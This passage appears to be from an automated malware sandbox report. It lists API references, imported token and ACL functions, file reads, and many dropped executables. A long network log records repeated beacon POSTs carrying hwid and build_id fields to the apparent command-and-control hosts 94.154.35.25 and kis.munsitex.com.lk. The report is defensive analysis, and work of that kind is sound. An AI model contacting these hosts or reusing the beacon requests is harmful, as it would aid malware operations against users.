00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004820.00000000.279859.04120000.00000004.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004820.00000000.279859.04120000.00000004.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00005300.00000001.279419.00021000.00000002.mdmp, 00000000-00005300.00000001.279419.6FEB5000.00000002.mdmp")99:T403,Found reference to API "WriteFile" (Indicator: "WriteFile"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "WriteFile" (Indicator: "WriteFile"; Source: "00000000-00003812.00000000.280750.40017000.00000002.mdmp") Found reference to API "WriteFile" (Indicator: "WriteFile"; Source: "00000000-00004008.00000000.279804.0092B000.00000002.mdmp") Found reference to API "WriteFile" (Indicator: "WriteFile"; Source: "00000000-00004104.00000000.281597.00DEE000.00000002.mdmp") Found reference to API "WriteFile" (Indicator: "WriteFile"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "WriteFile" (Indicator: "WriteFile"; Source: "00000000-00004820.00000000.279859.04120000.00000004.mdmp") Found reference to API "WriteFile" (Indicator: "WriteFile"; Source: "00000000-00005300.00000001.279419.00021000.00000002.mdmp, 00000000-00005300.00000001.279419.6FEB5000.00000002.mdmp")9a:Td24,Observed import api "GetFileSecurityW" which can "obtain specified information about the security of a file or directory" [Source: 7z.exe] Observed import api "SetFileSecurityW" which can "set the security of a file or directory object" [Source: 7z.exe] Observed import api "DuplicateToken" which can "create a new access token that duplicates one already in existence" [Source: windowsruntime.exe] Observed import api "DuplicateTokenEx" which can "create a new access token that duplicates an existing token" [Source: windowsruntime.exe] Observed import api "GetSidIdentifierAuthority" which can "return a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: windowsruntime.exe] Observed import api "GetSidSubAuthority" which can "return a pointer to a specified subauthority in a security identifier (SID)" [Source: windowsruntime.exe] Observed import api "GetSidSubAuthorityCount" which can "return a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: windowsruntime.exe] Observed import api "ImpersonateLoggedOnUser" which can "let the calling thread impersonate the security context of a logged-on user" [Source: windowsruntime.exe] Observed import api "RevertToSelf" which can "terminate the impersonation of a client application" [Source: windowsruntime.exe] Observed import api "AddAccessAllowedAce" which can "add an access-allowed access control entry (ACE) to an access control list (ACL)" [Source: NSudoLG.exe] Observed import api "AddAce" which can "add one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: NSudoLG.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: NSudoLG.exe] Observed import api "CreateRestrictedToken" which can "create a new access token that is a restricted version of an existing access token" [Source: NSudoLG.exe] Observed import api "DuplicateToken" which can "create a new access token that duplicates one already in existence" [Source: NSudoLG.exe] Observed import api "DuplicateTokenEx" which can "create a new access token that duplicates an existing token" [Source: NSudoLG.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: NSudoLG.exe] Observed import api "GetAce" which can "obtain a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: NSudoLG.exe] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: NSudoLG.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: NSudoLG.exe] Observed import api "InitializeAcl" which can "initialize a new ACL structure" [Source: NSudoLG.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: NSudoLG.exe] Observed import api "IsWellKnownSid" which can "compare a SID to a well-known SID and returns TRUE if they match" [Source: NSudoLG.exe] Observed import api "SetTokenInformation" which can "set various types of information for a specified access token" [Source: NSudoLG.exe]9b:T1596,"powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2F3\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") " "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 02 Feb 2026 02:51:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E333C643E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=B483325996CBE2D90F44AFCA4B673C053DA706B58D84B4EFA8B2C979C7151FB140BE1D46450FC9DDF642E3BDD70A0AC64C0BD426A79253F4599B6AEF41EF4B1D149F194401DC845B8C42C8D9E35EB799357BC015B969A1" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 02 Feb 2026 02:51:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E31313939303235303130312B2B2B62353933376331613939643566396464303934336235633834633765336434623765623330376138393764376165....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "e2=11990250101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 02 Feb 2026 02:51:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST / HTTP/1.1 Host: kis.munsitex.com.lk Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----ae07JBz8BWMl6ib4Whbf Cache-Control: no-cache Content-Length: 254" with payload::==> "------ae07JBz8BWMl6ib4WhbfContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------ae07JBz8BWMl6ib4WhbfContent-Disposition: form-data; name="build_id"639cb66483e97a71f9c9860499c027d2------ae07JBz8BWMl6ib4Whbf--" HTTP/1.1 200 OK Date: Mon 02 Feb 2026 02:51:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=4 cfOrigin;dur=469 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=%2B4kG4Fx7kA4JomTQuGv1lO81GBac97zN4Nk7X9jtXp2QqHLee%2F6nuS9ogZjBgWP63GVkOMQRRUVY8%2BFWchS2Wk4IcAToalsLB2dA9BEqYF8o7pw%3D"}]} CF-RAY: 9c76630ab94bde03-SJC alt-svc: h3=":443"; ma=86400 with response body ==>626C6F636B....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11991340101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 02 Feb 2026 02:51:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11991920101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 02 Feb 2026 02:51:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11991930101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 02 Feb 2026 02:51:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11991941101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 02 Feb 2026 02:51:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11991950101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 02 Feb 2026 02:51:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11991960101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 02 Feb 2026 02:52:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11991970101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 02 Feb 2026 02:52:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11991980101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 02 Feb 2026 02:52:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST / HTTP/1.1 Host: kis.munsitex.com.lk Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----208zamu2Yq3Lxm7zt8Kp Cache-Control: no-cache Content-Length: 254" with payload::==> "------208zamu2Yq3Lxm7zt8KpContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------208zamu2Yq3Lxm7zt8KpContent-Disposition: form-data; name="build_id"fd8fdc89d579f3598340c3edcf29a7cc------208zamu2Yq3Lxm7zt8Kp--" HTTP/1.1 200 OK Date: Mon 02 Feb 2026 02:52:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=6 cfOrigin;dur=462 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=o466gHqTiRHdcSsEXVceZ9uYbSOZPm1mLw%2FYShDNWCjiQQDq09hSzpw3FaAXzqCCJBk%2FHyrZc55YMmbmTPndlMDLbPdlvQioK%2B7T%2FcemMdXaC%2BA%3D"}]} CF-RAY: 9c7663f8df5f5a2e-SJC alt-svc: h3=":443"; ma=86400 with response body ==>626C6F636B....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11991990271&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 02 Feb 2026 02:52:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST / HTTP/1.1 Host: kis.munsitex.com.lk Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----2v0QjBAJMzYiERHEMSPY Cache-Control: no-cache Content-Length: 254" with payload::==> "------2v0QjBAJMzYiERHEMSPYContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------2v0QjBAJMzYiERHEMSPYContent-Disposition: form-data; name="build_id"51f668a2cea2ac24ab653acbae6f6bca------2v0QjBAJMzYiERHEMSPY--" HTTP/1.1 200 OK Date: Mon 02 Feb 2026 02:52:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=4 cfOrigin;dur=458 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Hn14rEEe1TWPWRpaMu1W36fQxpm8q%2F0YFjHLu1YnYAwVKg%2BU9kFf%2BJQqOg19SL9SuWUTatz7%2BN%2FAWlQbEvJWN8C1HkuM9rXmbQyXqsLyFBeRR1U%3D"}]} CF-RAY: 9c76641c6b6234c3-SJC alt-svc: h3=":443"; ma=86400 with response body ==>626C6F636B....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11992000101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 02 Feb 2026 02:52:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11992010101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 02 Feb 2026 02:52:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11992020101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 02 Feb 2026 02:52:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST / HTTP/1.1 Host: kis.munsitex.com.lk Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----iyeGZV4EeI3H2S4igu3p Cache-Control: no-cache Content-Length: 254" with payload::==> "------iyeGZV4EeI3H2S4igu3pContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------iyeGZV4EeI3H2S4igu3pContent-Disposition: form-data; name="build_id"bfe37e825718e5072b10b3ad73d28e5d------iyeGZV4EeI3H2S4igu3p--" HTTP/1.1 200 OK Date: Mon 02 Feb 2026 02:52:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=6 cfOrigin;dur=481 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=adabKi5bMvAjaCxc%2FG4fJZVNGXA%2F4lkyod%2BRjE8DckW5uGvPKGf8IVbQPgRQqV%2B27JOXNR%2BMoKy611FZVsqdi3HsR54QsPNIfqS%2FMkXCfyJjWwI%3D"}]} CF-RAY: 9c76645c1ad43023-SJC alt-svc: h3=":443"; ma=86400 with response body ==>626C6F636B....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11992040101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 02 Feb 2026 02:52:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11992050101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 02 Feb 2026 02:52:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11992060101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 02 Feb 2026 02:52:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11992070101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 02 Feb 2026 02:52:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=11992080101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 02 Feb 2026 02:52:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 02 Feb 2026 02:52:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E333C643E.......a0:T6d4,"hostmanager.exe" reads file "C:\Windows\win.ini" "hostmanager.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "hostmanager.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "hostmanager.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "hostmanager.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "hostmanager.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "hostmanager.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "hostmanager.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "hostmanager.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "hostmanager.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "hostmanager.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "hostmanager.exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini" "hostmanager.exe" reads file "C:\Users\%OSUSER%\Saved Games\desktop.ini" "hostmanager.exe" reads file "C:\Users\desktop.ini" "servicehelper.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "servicehelper.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "servicehelper.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "servicehelper.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "servicehelper.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "servicehelper.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "servicehelper.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "servicehelper.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "servicehelper.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "servicehelper.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "servicehelper.exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini"a1:T1aaf,"obs.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 9 sections"- [targetUID: N/A] "RslGvPs.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 9 sections"- Location: [%TEMP%\11990250101\RslGvPs.exe]- [targetUID: 00000000-00005944] "python313.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- [targetUID: N/A] "libcrypto-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- [targetUID: N/A] "hostmanager.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"- Location: [%USERPROFILE%\Desktop\hostmanager.exe]- [targetUID: 00000000-00007308] "7z.exe" has type "PE32 executable for MS Windows 4.00 (console) Intel i386 6 sections"- Location: [%TEMP%\saked\7z.exe]- [targetUID: 00000000-00007612] "libssl-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- [targetUID: N/A] "Python.Runtime.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 Mono/.Net assembly 3 sections"- [targetUID: N/A] "windowsruntime.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%WINDIR%\SysWOW64\windowsruntime.exe]- [targetUID: 00000000-00003724] "NSudoLG.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- Location: [%TEMP%\saked\NSudoLG.exe]- [targetUID: 00000000-00007612] "e9f18b799b.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- [targetUID: N/A] "eNLe4nm.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- [targetUID: N/A] "windowsruntime.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- Location: [%USERPROFILE%\Desktop\windowsruntime.exe]- [targetUID: 00000000-00003724] "Wfo8KJM.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- [targetUID: N/A] "QWKgBhv.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- [targetUID: N/A] "VCRUNTIME140.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- [targetUID: N/A] "nircmd.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 5 sections"- Location: [%TEMP%\saked\nircmd.exe]- [targetUID: 00000000-00003812] "python3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 2 sections"- [targetUID: N/A] "VCRUNTIME140_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "cecho.exe" has type "PE32 executable for MS Windows 5.01 (console) Intel i386 UPX compressed 3 sections"- Location: [%TEMP%\saked\cecho.exe]- [targetUID: 00000000-00007612] "79b496e502.exe" has type "PE32 executable for MS Windows 4.00 (console) Intel i386 Mono/.Net assembly 3 sections"- Location: [%TEMP%\11991920101\79b496e502.exe]- [targetUID: 00000000-00006412] "ClrLoader.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 Mono/.Net assembly 4 sections"- [targetUID: N/A] "ClrLoader.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 Mono/.Net assembly 4 sections"- [targetUID: N/A] "_rust.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 5 sections"- [targetUID: N/A] "unicodedata.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_decimal.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "pyexpat.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_ssl.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_cffi_backend.cp313-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_lzma.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_elementtree.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_ctypes.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_bz2.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_socket.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_asyncio.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_hashlib.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_overlapped.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_wmi.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_multiprocessing.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_queue.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "select.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "ca54f7469f.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "0PCyVok.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- Location: [%TEMP%\11991340101\0PCyVok.exe]- [targetUID: 00000000-00006412] "0PCyVok.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- [targetUID: 00000000-00006412] "88f3b0447b.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "RslGvPs.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 9 sections"- [targetUID: 00000000-00005944] "b1985f37af.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 8 sections"- [targetUID: N/A] "90e12e89d2.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 8 sections"- [targetUID: N/A] "update.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 8 sections"- [targetUID: N/A] "bEKVmef.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 8 sections"- [targetUID: N/A] "bZl8Zv3.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- [targetUID: N/A] "servicehelper.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%USERPROFILE%\Desktop\servicehelper.exe]- [targetUID: 00000000-00007308] "QKTi8Lo.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 3 sections"- [targetUID: N/A] "5a1daf4ae1.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- [targetUID: N/A] "5GFpJxh.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- [targetUID: N/A] "bed2cdd00d.exe" has type "PE32 executable for MS Windows 4.00 (console) Intel i386 Mono/.Net assembly 3 sections"- [targetUID: N/A]a2:Tade," "------ae07JBz8BWMl6ib4WhbfContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------ae07JBz8BWMl6ib4WhbfContent-Disposition: form-data; name="build_id"639cb66483e97a71f9c9860499c027d2------ae07JBz8BWMl6ib4Whbf--" "POST / HTTP/1.1 Host: kis.munsitex.com.lk Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----208zamu2Yq3Lxm7zt8Kp Cache-Control: no-cache Content-Length: 254" with payload:==> "------208zamu2Yq3Lxm7zt8KpContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------208zamu2Yq3Lxm7zt8KpContent-Disposition: form-data; name="build_id"fd8fdc89d579f3598340c3edcf29a7cc------208zamu2Yq3Lxm7zt8Kp--" "POST / HTTP/1.1 Host: kis.munsitex.com.lk Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----2v0QjBAJMzYiERHEMSPY Cache-Control: no-cache Content-Length: 254" with payload:==> "------2v0QjBAJMzYiERHEMSPYContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------2v0QjBAJMzYiERHEMSPYContent-Disposition: 